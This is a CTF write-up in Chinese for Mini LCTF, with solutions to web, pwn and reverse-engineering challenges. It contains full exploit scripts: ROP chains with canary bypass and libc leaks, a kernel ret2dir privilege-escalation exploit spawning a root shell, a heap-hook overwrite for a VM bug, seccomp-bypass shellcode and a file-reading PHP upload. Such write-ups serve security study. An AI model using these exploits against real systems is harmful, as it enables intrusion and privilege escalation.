

Mini LCTF 山 ∇ ə ɪ - ɹ ∇ p ! ^ WriteUp

> MISC&FORENSICS (2/8)

> PWN (4/6)

> WEB (1/5)

> CRYPTOGRAPHY (3/6)

> REVERSE (3/5)

Web

include | R1esbyfe


这题先把cookie修改一下，将原来的base64解码，并改为 0:4:"user":1: {s:9:"usergroup";s:5:"Lteam";}，然后上传一个这样的文件，访问即可
尴尬，web只做了这道题，最想锤的出题人应该是mini_sql的出题人了吧

PHP

```
1 <?php
2 var_dump(scandir('/'));
3 highlight_file('/flag');
4 ?>
```

Pwn

God | h4kuy4

 attachment.zip
852.19KB

👁

```
char v6[32]; // [rsp+40h] [rbp-20h] BYREF
```

```
__isoc99_scanf("%72s", v6);
```

栈溢出漏洞，有canary保护

```
unsigned __int16 v2;
```

```
__isoc99_scanf("%hd", &v2);  
if ( v2 <= 1u )  
{  
    puts("Damn, I'm angry!");  
    exit(0);  
}  
printf("Name: ");  
__isoc99_scanf("%7s", v5);  
v4[v2 - 1] = *(_QWORD *)v5;
```

整数溢出漏洞，可以利用这个漏洞修改fs寄存器的canary的值实现绕过。

```
pwndbg> stack 20  
00:0000| rsp 0x7ffff7dade90 ← 0x0  
... ↓ 2 skipped  
03:0018| 0x7ffff7dadea8 ← 0x20000  
04:0020| 0x7ffff7dadeb0 ← 0x7852 /* 'Rx' */  
05:0028| 0x7ffff7dadeb8 ← 0x64636261 /* 'abcd' */  
06:0030| 0x7ffff7dadec0 ← 0x0  
07:0038| 0x7ffff7dadec8 ← 0x64636261 /* 'abcd' */  
08:0040| 0x7ffff7daded0 ← 0x0  
09:0048| 0x7ffff7daded8 ← 0x0  
0a:0050| 0x7ffff7dadee0 → 0x7ffff7dae700 ← 0x7ffff7dae700  
0b:0058| 0x7ffff7dadee8 ← 0xbb7313e043cbc100  
0c:0060| rbp 0x7ffff7dadef0 ← 0x0  
0d:0068| 0x7ffff7dadef8 → 0x7ffff7fad609 (start_thread+217)  
0e:0070| 0x7ffff7dadf00 ← 0x0  
0f:0078| 0x7ffff7dadf08 → 0x7ffff7dae700 ← 0x7ffff7dae700  
10:0080| 0x7ffff7dadf10 → 0x7ffff7dae700 ← 0x7ffff7dae700  
11:0088| 0x7ffff7dadf18 ← 0x88297256e07554f0  
12:0090| 0x7ffff7dadf20 → 0xffffffffd9de ← 0x100  
13:0098| 0x7ffff7dadf28 → 0xffffffffd9df ← 0x1  
pwndbg> fsbase  
0x7ffff7dae700  
pwndbg> tele 0x7ffff7dae700  
00:0000| 0x7ffff7dae700 ← 0x7ffff7dae700  
01:0008| 0x7ffff7dae708 → 0x4052b0 ← 0x1  
02:0010| 0x7ffff7dae710 → 0x7ffff7dae700 ← 0x7ffff7dae700  
03:0018| 0x7ffff7dae718 ← 0x1  
04:0020| 0x7ffff7dae720 ← 0x0  
05:0028| 0x7ffff7dae728 ← 0xbb7313e043cbc100  
06:0030| 0x7ffff7dae730 ← 0xaa784414b92b703a  
07:0038| 0x7ffff7dae738 ← 0x0
```

```
>>> hex((0x7ffff7dae728 - 0x7ffff7dadeb0) // 8 + 1)
'0x110'
```

fs寄存器中canary储存的变量对应v4数组的下标为0x110

Exp:

Python

```
1  from pwn import *
2  from sortedcontainers.sorteddict import SortedValuesView
3
4  context.log_level = "debug"
5  # context.terminal = ["alacritty", "-e"]
6  context.terminal = ["tmux", "splitw", "-h"]
7
8  libc = ELF("./libc-2.31.so")
9  elf = ELF("./gods")
10
11 puts_plt = elf.plt["puts"]
12 puts_got = elf.got["puts"]
13 bss_base = elf.bss()
14
15 pop_rdi = 0x4015d3
16 leave_ret = 0x40142D
17
18 canary_offset = 0x110
19
20 # p = process("./gods")
21 p = remote("pwn.archive.xdsec.chall.frankli.site", "10061")
22
23 p.sendlineafter(b'(*^_^*)\n', b'yes')
24
25 p.sendlineafter(b'Rank: ', str(canary_offset).encode("ascii"))
26 p.sendlineafter(b'Name: ', b'\x00' * 7)
27
28 p.sendlineafter(b'Rank: ', b'14')
29 p.sendlineafter(b'Name: ', p64(0x4013e4)[:7])
30
31 payload = b'\x00' * 0x20
32 payload += p64(bss_base + 0x518)
33 payload += p64(pop_rdi)
34 payload += p64(puts_got)
35 payload += p64(puts_plt)
36 payload += p64(0x40142e)[:7]
37 # gdb.attach(p)
38 p.sendlineafter(b'name?', payload)
```

```

39
40 p.recvline()
41 p.recvline()
42 puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
43 print(hex(puts_addr))
44 libc_base = puts_addr - libc.sym["puts"]
45 pop_r12_ret = libc_base + 0x02f739
46 one_gadget = libc_base + 0xe3b2e
47
48 payload = b'\x00' * 0x28
49 payload += p64(pop_r12_ret)
50 payload += p64(0)
51 payload += p64(one_gadget)
52 p.sendline(payload)
53
54 p.interactive()

```

kgadget | xi4oyu

小语不让我交这题的 flag，所以就没交hhh

利用 pt_regs 仅剩的 r8 r9 两个寄存器，再栈迁移到 physmap 进行 ROP（就是 ret2dir）

哪有 one gadget 我感觉出题人在演我<- 小语说的

C

```

1 // musl-gcc -masm=intel -static -o exp exp.c
2 #include <fcntl.h>
3 #include <sys/ioctl.h>
4 #include <stdio.h>
5 #include <syscall.h>
6 #include <sys/mman.h>
7 #include <stdlib.h>
8 #include <stdint.h>
9 #include <string.h>
10 #include <unistd.h>
11 #include <assert.h>
12 #include <sys/socket.h>
13
14 #define spray_times (32 * 24)
15 #define mp_size (1024 * 64)
16
17
18 int fd;
19 uint64_t guess_physmap = 0xffff888007000000;
20 // 0xffff888000000000 是 physmap 起始地址，反正是喷射，调试猜一个看看
21 uint64_t add_rsp_b8_prbx_prbp_ret = 0xfffffffff81ae5;
22 uint64_t swaps_restore_regs_and_return_to_usermode = 0xfffffffff81c00fb;

```

```

22  uint64_t swaps_restore_regs_and_return_to_usermode = 0xffffffff1000100,
23
24
25  uint64_t user_cs, user_ss, user_rflags, user_sp;
26  void saveStatus()
27  {
28      __asm__("mov user_cs, cs;"
29              "mov user_ss, ss;"
30              "mov user_sp, rsp;"
31              "pushf;"
32              "pop user_rflags;");
33      printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
34  }
35
36  void getRootShell(void)
37  {
38      puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
39
40      if (getuid())
41      {
42          puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
43          exit(-1);
44      }
45
46      puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell
47  now...\033[0m");
48      system("/bin/sh");
49      exit(0); // to exit the process normally instead of segmentation fault
50  }
51
52  void build_rop(uint64_t addr, size_t size)
53  {
54      for (int i = 0; i < size; i += 4096)
55      {
56          uint64_t *rop = (uint64_t *) (addr + i);
57          *rop++ = add_rsp_b8_prbx_prbp_ret;
58          *rop++ = 0xffffffff8108c6f0; // pop rdi
59          *rop++ = 0xffffffff82a6b700; // init_cred
60          *rop++ = 0xffffffff810c92e0; // commit_creds
61          *rop++ = swaps_restore_regs_and_return_to_usermode + 0x1b;
62          *rop++ = 0;
63          *rop++ = 0;
64          *rop++ = (uint64_t) &getRootShell;
65          *rop++ = user_cs;
66          *rop++ = user_rflags;
67          *rop++ = user_sp;
68          *rop++ = user_ss;

```

```

69     }
70 }
71
72 void *spray[spray_times];
73 void heap_srapy()
74 {
75     void *mp;
76     for (int i = 0; i < spray_times; i++)
77     {
78         if ((mp = mmap(NULL, mp_size, PROT_READ | PROT_WRITE, MAP_PRIVATE |
MAP_ANONYMOUS, -1, 0)) == MAP_FAILED)
79         {
80             exit(-1);
81         }
82
83         memset(mp, 'K', mp_size);
84
85         build_rop((uint64_t)mp, mp_size);
86         spray[i] = mp;
87     }
88 }
89
90 int main()
91 {
92     saveStatus();
93
94     fd = open("/dev/kgadget", O_RDWR);
95     if (fd < 0)
96     {
97         perror("open device");
98         exit(-1);
99     }
100
101     heap_srapy();
102
103
104     asm(
105         "mov rax, 16;"
106         "mov rdi, fd;"
107         "mov rsi, 114514;"
108         "mov rdx, guess_physmap;"
109         "mov r10, 0x22222222;"
110         "mov r8, 0xffffffff8100304f;" // leave ; ret
111         "mov r9, guess_physmap;"
112         "syscall;");
113
114     return 0;
115 }

```

上传文件脚本：

Python

```
1  from pwn import *
2  context.log_level = 'info'
3  #context.update(log_level='debug')
4
5  SHELL_CHAR = '$ '
6
7  HOST = "127.0.0.1"
8  PORT = 32770
9
10
11 def compile():
12     log.info("Compile")
13     os.system("musl-gcc -w -s -static -o3 exp.c -o exp")
14
15 def exec_cmd(r, cmd):
16     r.sendline(cmd)
17     r.recvuntil(SHELL_CHAR)
18
19 def upload(r, file_name):
20     p = log.progress("Upload")
21
22     with open(file_name, "rb") as f:
23         data = f.read()
24
25     encoded = base64.b64encode(data)
26
27     for i in range(0, len(encoded), 300):
28         p.status("%d / %d" % (i, len(encoded)))
29         exec_cmd(r, "echo \"%s\" >> %s" % (encoded[i:i+300],
file_name+'base64'))
30
31     exec_cmd(r, "cat %s | base64 -d > %s" % (file_name+'base64', file_name))
32     exec_cmd(r, "chmod +x %s" % file_name)
33
34     p.success()
35
36
37 def to_hex(s):
38     ret = ''
39
40     if isinstance(s, str):
41         for ch in s:
```

```

42         ch = ord(ch)
43         ret += '\\x' + hex(ch)[2:].rjust(2, '0')
44
45     elif isinstance(s, bytes):
46         for ch in s:
47             ret += '\\x' + hex(ch)[2:].rjust(2, '0')
48     else:
49         return ''
50
51     return ret
52
53
54 def upload_ex(r, src, dst):
55     p = log.progress("Upload")
56
57     with open(src, 'rb') as fd:
58         data = fd.read()
59
60         for i in range(0, len(data), 300):
61             p.status("%d / %d" % (i, len(data)))
62             exec_cmd(r, "/bin/echo -e -n '%s' >> %s" % (to_hex(data[i:i+300]),
dst))
63
64         p.success()
65
66
67 def exploit(r):
68     # compile()
69     r.recvuntil(SHELL_CHAR)
70     upload(r, 'exp')
71     # upload(r, 'exp_')
72
73     r.interactive()
74
75
76 if __name__ == "__main__":
77     r = remote(HOST, PORT);
78     #r.sendlineafter('login: ', 'root')
79
80     # exploit(r)
81     r.recvuntil(SHELL_CHAR)
82     upload_ex(r, './exp', '/tmp/exp')
83     context.log_level = 'debug'
84     r.interactive()
85

```



```
1 flag{809fe205-5cbc-4dd0-bdb3-17b92da35a05}
```

minil-bug | chuj

```
case STORE:
    offset = vm->code[ip++];
    vm->call_stack[callsp].locals[offset] = vm->stack[sp--];
```

Store 操作没有检查 offset 是否小于 0，所以可以越界改写 globals 指针的值

所以接下来只差一个 leak 了

考虑到 sp 的减并没有做检测，可以考虑 store code 指针的值到 local 里面

```
typedef struct {
    int *code;
    int code_size;

    // global variable space
    int *globals;
    int rglobals;

    // Operand stack, grows upwards
    int stack[DEFAULT_STACK_SIZE];
    Context call_stack[DEFAULT_CALL_STACK_SIZE];
} VM;
```

Code 指向的是栈地址，通过改写 globals 指针为 code 指针即可 leak 出 libc 的地址，然后就可以打 __free_hook - 0x8，写入 /bin/sh vm_free 即可 getshell

```
break;
case STORE:
    offset = vm->code[ip++];
    vm->call_stack[callsp].locals[offset] = vm->stack[sp--];
    break;
```

```
case LOAD: // load local or arg
    offset = vm->code[ip++];
    if(offset < 0){
        fprintf(stderr, "Invalid offset:%d\n", offset);
        break;
    }
```

```
vm->stack[++sp] = vm->call_stack[callsp].locals[offset];  
break;
```

拿 STORE 和 LOAD 乱搞一通就行了

Python

```
1  #!/usr/bin/env python  
2  # coding=utf-8  
3  from pwn import *  
4  context.log_level = "debug"  
5  context.terminal = ["tmux", "splitw", "-h"]  
6  
7  #sh = process("./bugged_interpreter")  
8  sh = remote("pwn.archive.xdsec.chall.frankli.site", 10070)  
9  
10 STORE = 12  
11 GSTORE = 13  
12 LOAD = 10  
13 GLOAD = 11  
14 CALL = 16  
15 PRINT = 14  
16 ICONST = 9  
17 IADD = 1  
18  
19  
20 payload = ""  
21 payload += p32(CALL) + p32(4) + p32(7) + p32(0)  
22 payload += p32(LOAD) + p32(6)  
23 payload += p32(LOAD) + p32(5)  
24 payload += p32(LOAD) + p32(4)  
25 payload += p32(LOAD) + p32(3)  
26 payload += p32(LOAD) + p32(6)  
27 payload += p32(LOAD) + p32(5)  
28 payload += p32(LOAD) + p32(0)  
29 payload += p32(GLOAD) + p32(0x47 * 2 - 8 + 1)  
30 payload += p32(GLOAD) + p32(0x47 * 2 - 8 + 0)  
31 payload += p32(ICONST) + p32(0x1CAD95 - 8) # __free_hook - 8  
32 payload += p32(IADD)  
33 payload += p32(STORE) + p32(0)  
34 payload += p32(STORE) + p32(1)  
35 payload += p32(PRINT)
```

```

35 payload += p32(PRINT)
36 payload += p32(PRINT)
37 payload += p32(PRINT)
38 payload += p32(LOAD) + p32(0)
39 payload += p32(LOAD) + p32(1)
40 payload += p32(15)
41 payload += p32(15)
42 payload += p32(15)
43 payload += p32(ICONST) + '/bin'
44 payload += p32(GSTORE) + p32(0)
45 payload += p32(ICONST) + '/sh\x00'
46 payload += p32(GSTORE) + p32(1)
47
48 payload += p32(15)
49 payload += p32(15)
50 payload += p32(15)
51 payload += p32(15)
52 payload += p32(15)
53 payload += p32(15)
54 payload += p32(15)
55 payload += p32(15)
56 payload += p32(15)
57 payload += p32(LOAD) + p32(0)
58 payload += p32(ICONST) + p32(0xFFE63480)
59 payload += p32(IADD)
60 payload += p32(GSTORE) + p32(2)
61 payload += p32(LOAD) + p32(1)
62 payload += p32(GSTORE) + p32(3)
63
64 payload += p32(PRINT) * ((512 - len(payload)) / 4)
65
66 sh.sendafter("code:", payload)
67
68
69 sh.interactive()

```

```
flag{2c751d97-2c7c-4a5c-bc87-5d3bef0aebce}
```

Shellcode | xi4oyu

```

__int64 __fastcall main(__int64 a1, char
{
    sub_123D(a1, a2, a3);
    read(0, buf, 0x100uLL);
    if ( (unsigned int)sub_1209(buf) )
        ((void (*)(void))buf)();
}

```

```

((void (*)(void))buf)();
return 0LL;
}

```

限制了系统调用

```

hakuya@Shigure:~/CTF/minilctf/shellcode
% seccomp-tools dump ./shellcode
line  CODE  JT   JF   K
=====
0000: 0x20  0x00  0x00  0x00000000  A = sys_number
0001: 0x25  0x05  0x00  0x40000000  if (A > 0x40000000) goto 0007
0002: 0x15  0x04  0x00  0x00000001  if (A == write) goto 0007
0003: 0x15  0x03  0x00  0x00000005  if (A == fstat) goto 0007
0004: 0x15  0x02  0x00  0x00000000  if (A == read) goto 0007
0005: 0x15  0x01  0x00  0x00000009  if (A == mmap) goto 0007
0006: 0x06  0x00  0x00  0x00000000  return KILL
0007: 0x06  0x00  0x00  0x7fff0000  return ALLOW

```

使用 `retfq` 转 32 位, `orw`

Python

```

1  from pwn import *
2
3  context.log_level = "debug"
4  context.terminal = ['gnome-terminal', '-x', 'zsh', '-c']
5  context.os = 'linux'
6  context.arch = 'amd64'
7
8  p = process("./shellcode")
9  #p = remote('pwn.archive.xdsec.chall.frankli.site', 10076)
10
11  payload = b''
12  payload += asm(shellcraft.mmap(0xdead0000, 0x1000, 7, 0x32, -1, 0))
13  payload += asm(shellcraft.read(0, 0xdead0000, 0x1000))
14  #payload += asm(shellcraft.write(1, 'rsp', 0x60))
15  payload += asm('mov rax, 0xdead0000; push rax; ret')
16  payload = payload.ljust(0x100, b'\x00')
17
18  #gdb.attach(p)
19  p.send(payload)
20

```

```
21  sc_addr = 0xdead0000
22  sc = b''
23
24  sc += asm('''
25      mov rsp, 0xdead0000+0x300
26      push 0x23
27      mov rax, 0xdead0001
28      push rax
29      retfq
30  ''')
31
32  sc = sc.replace(p32(0xdead0001), p32(sc_addr + len(sc)))
33
34  sc += asm('''
35      mov eax, 0x01010101
36      push eax
37      mov eax, 0x01010101 ^ 0x67616c66
38      xor [esp], eax
39      mov ebx, esp
40      xor ecx, ecx
41      xor edx, edx
42      mov eax, 5
43      int 0x80
44
45      jmp 0x33:0xdead0002
46  ''', arch='i386', bits='32')
47
48  sc = sc.replace(p32(0xdead0002), p32(sc_addr + len(sc)))
49
50  sc += asm('''
51      mov rdi, 3
52      lea rsi, [rsp+0x100]
53      mov rdx, 0x60
54      mov rax, 0
55      syscall
56
57      mov rdx, 0x60
58      mov rdi, 1
59      lea rsi, [rsp+0x100]
60      mov rax, 1
61      syscall
62  ''')
63
64
65  p.send(sc)
66  p.interactive()
```

Easy-httpd | chuj

Python

```
1  #!/usr/bin/env python
2  # coding=utf-8
3  from pwn import *
4  context.log_level = "debug"
5  context.terminal = ["tmux", "splitw", "-h"]
6
7  # sh = process("./easy-httpd")
8  #sh = remote("localhost", "2048")
9  sh = remote("pwn.archive.xdsec.chall.frankli.site", "10096")
10
11 payload = "GET ./flag\r\nUser-Agent: MiniL\r\n\r\n"
12 sh.send(payload)
13 #gdb.attach(sh)
14
15 sh.interactive()
```

Reverse

Twin | t0hka

> 解释一下twin的含义，re.exe是作为一个调试器的存在，tmp是被调试的程序

PART1

程序中有一个TLS回调函数，程序的真正主逻辑被隐藏在里面

值得注意的是有一处花指令 `call ret` 花指令使程序错误地识别函数边界，nop掉即可

```
.text:0040199C E8 00 00 00 00  call    $+5
.text:0040199C
.text:004019A1 83 04 24 1E             add     [esp+12Ch+var_12C], 1Eh
.text:004019A5 C3                     retn
.text:004019A5
.text:004019A5             TlsCallback_0 endp ; sp-analysis failed
.text:004019A5
.text:004019A5             ; -----
.text:004019A6 57 65 6C 63 6F 6D 65 5F 74 6F+aWelcomeTo2022M db 'Welcome_to_2022_miniLCTF',0
.text:004019BF             ; -----
```

然后识别出来一个xxtea加密，直接动调拿key、delta和密文即可

```
{
    xxtea(*input + 20, 5, &key);
    if ( !memcmp((*input + 20), &flag_part2, 0x14u) )
    {
        xor(v11);
```

```
write_concole(v11);
```

贴一下第一部分的题解

Python

```
1  #include<stdio.h>
2  #include <stdio.h>
3  #include <stdint.h>
4  #define DELTA 0x9e3779b9
5  #define MX (((z>>5)^(4*y)) + ((y>>3)^(z*16))) ^ ((sum^y) + (key[p&3^e] ^ z))

6
7  void btea(uint32_t* v, int n, uint32_t const key[4])
8  {
9      uint32_t y, z, sum;
10     unsigned p, rounds, e;
11     if (n > 1)          /* Coding Part */
12     {
13         rounds = 6 + 52 / n;
14         sum = 0;
15         z = v[n - 1];
16         do
17         {
18             sum += DELTA;
19             e = (sum >> 2) & 3;
20             for (p = 0; p < n - 1; p++)
21             {
22                 y = v[p + 1];
23                 z = v[p] += MX;
24             }
25             y = v[0];
26             z = v[n - 1] += MX;
27         } while (--rounds);
28     }
29     else if (n < -1)     /* Decoding Part */
30     {
31         n = -n;
32         rounds = 6 + 52 / n;
33         sum = rounds * DELTA;
34         y = v[0];
35         do
36         {
```

```

37         e = (sum >> 2) & 3;
38         for (p = n - 1; p > 0; p--)
39         {
40             z = v[p - 1];
41             y = v[p] -= MX;
42         }
43         z = v[n - 1];
44         y = v[0] -= MX;
45         sum -= DELTA;
46     } while (--rounds);
47 }
48 }
49
50
51 int main()
52 {
53     uint32_t v[5] = { 2418125089u, 4114296928u, 2391320654u, 1130584789u,
2886832697u };
54     uint32_t const k[4] = { 18, 52, 86, 120 }; //密钥替换
55     int n = 5; //n也要换, n的绝对值表示v的长度, 取正表示加密, 取负表示解密
56     btea(v, -n, k);
57     printf("解密后的数据: %s\n", v);
58     return 0;
59 }
60 // 3e90c91c02e9b40b78b}

```

PART2

先大概说一下流程

1.将输入映射到共享内存

```

.text:0040199C E8 00 00 00 00 call    $+5
.text:0040199C
.text:004019A1 83 04 24 1E add     [esp+12Ch+var_12C], 1Eh
.text:004019A5 C3 retn
.text:004019A5
.text:004019A5 TlsCallback_0 endp ; sp-analysis failed
.text:004019A5
.text:004019A5 ; -----
.text:004019A6 57 65 6C 63 6F 6D 65 5F 74 6F+aWelcomeTo2022M db 'Welcome_to_2022_miniLCTF',0
.text:004019BF ; -----

```

2.创建tmp文件，并写入内容

```

qmemcpy(fileName, "QP\\v", 3);
fileName[3] = 18;
fileName[4] = 15;
fileName[5] = 0; // ./tmp
strcpy(Type, "[:-:");
var(fileName);

```



```

xor(Filename);
xor(Type);
hResInfo = FindResourceA(0, 0x65, Type); // 寻找资源文件(也就是子程序tmp的二进制文件内容)
nNumberOfBytesToWrite = SizeofResource(0, hResInfo);
hResData = LoadResource(0, hResInfo);
lpBuffer = LockResource(hResData);
sub_401E40(lpBuffer, nNumberOfBytesToWrite); // 数据异或
hFile = CreateFileA(Filename, 0xC0000000, 0, 0, 2u, 0x80u, 0);
NumberOfBytesWritten = 0;
v3 = WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0); // 将异或后的数据写入tmp文件
FlushFileBuffers(hFile);
return CloseHandle(hFile);

```

3.创建调试进程

```

xor(ApplicationName);
write_file(); // 写入文件
memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = 68;
CreateProcessA(ApplicationName, 0, 0, 0, 0, 3u, 0, 0, &StartupInfo, &ProcessInformation); // 创建调试进程
v11[0] = 28;
v11[1] = 16;

```

4.附加调试并修改Context信息（易忽略的坑点）

```

{
    qmemcpy(v3, &DebugEvent.u, 0x54u);
    v7 = v3[0];
    if ( v3[0] == 0xC0000005 ) // 0xC0000005:内存非法访问
    {
        memset(&Context, 0, sizeof(Context));
        Context.ContextFlags = 65543;
        GetThreadContext(hThread, &Context);
        Context.Eip += 5; // 被调试程序抛出异常后修改子程序eip和rax寄存器
        Context.Eax ^= 0x1B207u;
        SetThreadContext(hThread, &Context);
    }
}
if ( DebugEvent.dwDebugEventCode == 5 )
{
    dword_404440 = DebugEvent.u.Exception.ExceptionRecord.ExceptionCode;
    v8 = 0;
}
ContinueDebugEvent(DebugEvent.dwProcessId, DebugEvent.dwThreadId, 0x10002u);

```

5.调试子程序的具体内容

子程序tmp里的内容如下，逻辑很简单，也是一个xxtea

有必要说明的一点是由于处于被父程序调试的情况下，所以IsDebuggerPresent实际上是返回1

```

int __cdecl main(int argc, const char **argv, const char **envp)
{
    sub_401400();
    if ( sub_4010E0() ) // 被父程序调试,IsDebuggerPresent返回1
    {
        delta ^= 0x90909090;
        key[1] = 144;
    }
    delta = sub_401210(delta);
    read from memory(&input flag);
}

```

```

xxtea(&input_flag, 5, key);
if ( !memcmp(&input_flag, &flag_part1, 0x14u) )
    return 1;
else
    return -1;
}

```

当进入sub_401210函数时，会抛出一个内存访问异常

```

.text:00401210      sub_401210 proc near                ; CODE XREF: _main+3A↑p
.text:00401210
.text:00401210      var_C= dword ptr -0Ch
.text:00401210      var_4= dword ptr -4
.text:00401210      arg_0= dword ptr 8
.text:00401210 55                push     ebp
.text:00401211 8B EC            mov      ebp, esp
.text:00401213 51                push     ecx
.text:00401214 53                push     ebx
.text:00401215 8B 45 08          mov      eax, [ebp+arg_0]
.text:00401218 83 F0 7B          xor      eax, 7Bh
.text:0040121B 05 39 30 00 00    add      eax, 3039h
.text:00401220 89 45 FC          mov      [ebp+var_4], eax
.text:00401223 E8 00 00 00 00    call     $+5
.text:00401223
.text:00401228 83 04 24 05      add      [esp+0Ch+var_C], 5
.text:0040122C C3                retn
.text:0040122C
.text:0040122C      sub_401210 endp ; sp-analysis failed
.text:0040122D
; -----
.text:0040122D 8B 45 FC          mov      eax, [ebp-4]
.text:00401230 33 DB            xor      ebx, ebx
.text:00401232 89 1B            mov      [ebx], ebx ; 触发内存访问异常
.text:00401234 8B 45 FC          mov      eax, [ebp-4]
.text:00401237 5B                pop      ebx
.text:00401238 8B E5            mov      esp, ebp
.text:0040123A 5D                pop      ebp
.text:0040123B C3                retn

```

然后根据异常分发的优先级，异常会先被抛给调试器（也就是re.exe这个父程序），然后这里的异常处理是分别对 `ebp` 和 `eax` 做了更改，也就是导致之前delta不对的因素之一

delta的计算

Apache


```
1 delta=((0x9E3779B9^0x12345678^0x90909090^0x7B)+12345)^0x1B207=0x1c925d64
```

这里有一点小坑就是xxtea的一个位移参数被改变了

```

1 ^ v9)) ^ (((16 * v10) ^ (*a1 >> 3))
      + ((4 * *a1) ^ (v10 >> 6)))

```



part2的题解

Python

```

1  #include<stdio.h>
2  #include <stdio.h>
3  #include <stdint.h>
4  #define DELTA 0x1c925d64
5  #define MX (((z>>6)^(4*y)) + ((y>>3)^(z*16))) ^ ((sum^y) + (key[p&3^e] ^ z))

6
7  void btea(uint32_t* v, int n, uint32_t const key[4])
8  {
9      uint32_t y, z, sum;
10     unsigned p, rounds, e;
11     if (n > 1)          /* Coding Part */
12     {
13         rounds = 6 + 52 / n;
14         sum = 0;
15         z = v[n - 1];
16         do
17         {
18             sum += DELTA;
19             e = (sum >> 2) & 3;
20             for (p = 0; p < n - 1; p++)
21             {
22                 y = v[p + 1];
23                 z = v[p] += MX;
24             }
25             y = v[0];
26             z = v[n - 1] += MX;
27         } while (--rounds);
28     }
29     else if (n < -1)     /* Decoding Part */
30     {
31         n = -n;
32         rounds = 6 + 52 / n;
33         sum = rounds * DELTA;
34         y = v[0];
35         do

```

```

35         do
36         {
37             e = (sum >> 2) & 3;
38             for (p = n - 1; p > 0; p--)
39             {
40                 z = v[p - 1];
41                 y = v[p] -= MX;
42             }
43             z = v[n - 1];
44             y = v[0] -= MX;
45             sum -= DELTA;
46         } while (--rounds);
47     }
48 }
49
50
51 int main()
52 {
53     uint32_t v[5] = {0x6B7CE328, 0x4841D5DD, 0x963784DC, 0xEF8A3226,
54                     0x0776B226};
55     uint32_t const k[4] = { 0x12, 0x90, 0x56, 0x78}; //密钥替换s
56     int n = 5; //n也要换, n的绝对值表示v的长度, 取正表示加密, 取负表示解密
57     btea(v, -n, k);
58     //printf("%s",v);
59     printf("解密后的数据: %s \n", v);
60     return 0;
61 }
62 //miniLctf{cbda59ff59e

```

flag

Apache

```
1  miniLctf{cbda59ff59e3e90c91c02e9b40b78b}
```

NotRC4 | rt

Python

```

1  LIST = [0xf3,0x00,
2          0xf4,0xe1,
3          0xf4,0xe2,
4          0xf2,0x04,0x0b,
5          0xf5,
6          0xf3,0x02,
7          0xf4,0xe1,

```

```

8         0xf4,0xe2,
9         0xf2,0x04,0x0b,
10        0xf5,
11        0xf1,
12        0xff]
13
14 compared = [
15     0x4BC21DBB95EF82CA, 0xF57BECAE71B547BE, 0x80A1BDAB15E7F6CD,
16     0xA3C793D7E1776385
17 ]
18 encrypted = [0]*4
19 pos = 0
20 times = 0
21 param2,param4 = 0,0
22 flag = [0,0] # 8*2 bytes
23 DAT_0010210c = 0
24 DAT_00102008 = 0x0000000064627421
25
26 def f1check():
27     # 8*4 bytes
28     global pos
29     for i in range(4):
30         if encrypted[i] != compared[i]:
31             print('false')
32             pos += 1
33     print('true')
34     pos += 1
35
36 def f2loop():
37     global pos,times
38     if times < LIST[pos+2]:
39         times += 1
40         pos = LIST[pos+1]
41     else:
42         times = 0
43         pos += 3
44
45 def f3mov_flag():
46     global pos,param2,param4
47     param2 = flag[0] + 0x0000000064627421
48     param4 = flag[1] + 0x0000000079796473
49     pos += 2
50
51 def f4enc():
52     global pos,param2,param4
53     if LIST[pos+1] == 0xE1:
54         param2 = DAT_00102008 + (
55             ((param4 ^ param2)>>((-param4)&0x3f))

```

```

54         ((param4 ^ param2)>>((param4)&0x3f))
55         |
56         ((param4 ^ param2)<<((param4)&0x3f))
57     )
58     elif LIST[pos+1] == 0xE2:
59         param4 = DAT_00102008 + (
60             ((param4 ^ param2)>>((-param2)&0x3f))
61             |
62             ((param4 ^ param2)<<((param2)&0x3f))
63         )
64     pos += 2
65
66     def f5mov_enced():
67         global DAT_0010210c,pos
68         encrypted[DAT_0010210c] = param2
69         encrypted[DAT_0010210c+1] = param4
70         param2 = 0
71         param4 = 0
72         DAT_0010210c += 2
73         pos += 1

```

Python

```
1  # 使用 z3 失败 直接来吧。。
2  compared = [
3      0x4BC21DBB95EF82CA, 0xF57BECAE71B547BE, 0x80A1BDAB15E7F6CD,
4      0xA3C793D7E1776385
5  ]
6  def decrypt(param2, param4):
7      # e2
8      xored_shifted = (param4-0x79796473)
9      xored = ((xored_shifted << (-param2&0x3f))&0xFFFFFFFFFFFFFFFF
10             |
11             (xored_shifted >> (param2&0x3f))&0xFFFFFFFFFFFFFFFF)
12      param4 = xored ^ param2
13      # e1
14      xored_shifted = (param2-0x64627421)
15      xored = ((xored_shifted << (-param4&0x3f))&0xFFFFFFFFFFFFFFFF
16             |
17             (xored_shifted >> (param4&0x3f))&0xFFFFFFFFFFFFFFFF)
18      param2 = xored ^ param4
19      return param2,param4
20
21  param2, param4 = compared[2],compared[3]
22  for i in range(12):
23      param2,param4 = decrypt(param2,param4)
24      flag2,flag3 = param2-0x64627421,param4-0x79796473
25
26  param2, param4 = compared[0],compared[1]
27  for i in range(12):
28      param2,param4 = decrypt(param2,param4)
29      flag0,flag1 = param2-0x64627421,param4-0x79796473
30
31  print('miniLCTF{',end='')
32  print(bytes.fromhex(hex(flag0)[2:]).decode('utf8')[::-1],end='')
33  print(bytes.fromhex(hex(flag1)[2:]).decode('utf8')[::-1],end='')
34  print('}')
```

lemon | 4nsw3r

I think lemon language is ez for u~

hint:lemon lang src编译环境: ArchLinux -5.17.5 + GNU Make 4.3



task
2.93KB

由字节码可得大概的lemon代码如下

Python

```
1  #lemon
2  var a=221492336;
3  def next(){
4      a==(a*3735928559+2974593325)%4294967295;
5      return a;
6  }
7  class n(){
8      def __init__(){
9          self.res=[2141786733,76267819,37219027,219942343,755999918,701306806,5
10             32732060,334234642,524809386,333469062,160092960,126810196,238089888,30136599
11             1,258515107,424705310,1041878913,618187854,4680810,827308967,66957703,92447111
12             5,735310319,541128627,47689903,459905620,495518230,167708778,586337393,5217617
13             74,861166604,626644061,1030425184,665229750,330150339];
14             self.enc=[]
15             self.flag=[]
16             for(var i=0;i<35;i++)
17             {
18                 self.enc.append(next(a));
19             }
20         }
21         def sign(x,y){
22             for(var i=0;i<35;i++)
23             {
24                 self.flag.append(x[i]^y[i]);
25             }
